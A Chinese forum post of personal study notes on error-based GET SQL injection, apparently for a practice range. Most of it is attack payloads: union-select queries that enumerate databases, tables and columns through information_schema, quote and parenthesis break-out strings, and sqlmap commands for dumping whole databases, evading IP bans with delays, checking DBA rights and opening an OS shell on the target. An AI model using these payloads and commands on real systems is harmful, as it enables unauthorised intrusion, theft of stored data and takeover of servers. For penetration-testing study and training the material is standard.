Get显错注入笔记

梁家顺   ·   发表于 2022-05-20 08:35:47   ·   学习杂记

GET注入:显错注入

SQL注入的本质:
    用户输入的数据被当做SQL代码执行 [1、你可以自由输入]
    (SQL) 数据库查询语句  增、删、改、查

方法一:手动

公式:猜字段 -> 输出点 -> 出库名 -> 出表名 -> 出字段名 -> 出数据

判断字段:order by 2

可以看出是两个字段的输出点为 union select 1,2

判断库名:union select 1,database()

表名:union select 1,table_name from information_schema.tables where table_schema=database()

字段union select 1,column_name from information_schema.columns where table_schema=database() and table_name='表名'

字段数据union select 1,字段 from 表名

【limit 0,1】默认,在0后加一可以看到该表名的其他表名 。
当字段为3时,表名在中间时

union select 1,table_name,3 from information_schema.tables where table_schema=database()

看例子:

查询字段order by 1   ---->一共几个字段
联合查询 union select 1,2,3 (在页面上显示的是显示位,也就是输出点)
出库名 union select 1,database()  ---->嵌入到上面
出表名 union select 1,table_name,3 from information_schema.tables where table_schema=database()[ limit 1,1]其他表名
字段名 union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name='表名'
数据 union select 1,字段 from 表名

方法二:SQLMAP

SQLmap 它实际上是会去传一大叠的语句
            靶场防护:防CC攻击。 当某一个ip访问过多次就封杀
            检查注入点:python sqlmap.py -u"网址" --delay=1
            --delay=1 //设定时间缓冲,防止被拌IP
            --flush-session 不使用缓存从新测试

            --dbs 查询里面有什么数据库    --current-db当前数据库信息
            python sqlmap.py -u"网址" --delay=1 -dbs

            --tables 跑表  (-D 指定库)
            python sqlmap.py -u"网址" -D 库名 --tables

            --columns 跑字段(-T 指定表 -D 指定库)
            python sqlmap.py -u"网址" -D 库名 -T 表 --columns
            --dump (慎用 拖库,跑数据库里面的信息) 查看别人数据库里面的信息
            python sqlmap.py -u"网址" -D 库名 -T 表名 -C 所查询字段 --dump

            默认情况下是比较温柔的(只测试50条语句,测试方向只有3个)

            --level 3 --risk 2 (跑的很激进)(测试500条语句、测试多个方向)
            python sqlmap.py -u "网址" --delay=1 --level 3 --risk 2 
            --level 1-5(速度,1就可以)

            --is-dba  =>; 权限判断 dba权限
            python sqlmap.py -u"网址" --is-dba
            判断完之后查看是不是True
            --os-shell =>; 直接拿下目标的命令行 [--is-dba 一定要是True]//这里注意python版本最好是2,3有可能会报错
            python sqlmap.py -u"网址" --os-shell

补充:当

id ='1'  时:1' union select 1,2,database() -- qwe

id =('1') 时:1') union select 1,2,database() -- qwe

id=("1") 时:1") union select 1,2,database() -- qwe

打赏我,让我更有动力~

0 条回复   |  直到 2022-5-20 | 530 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.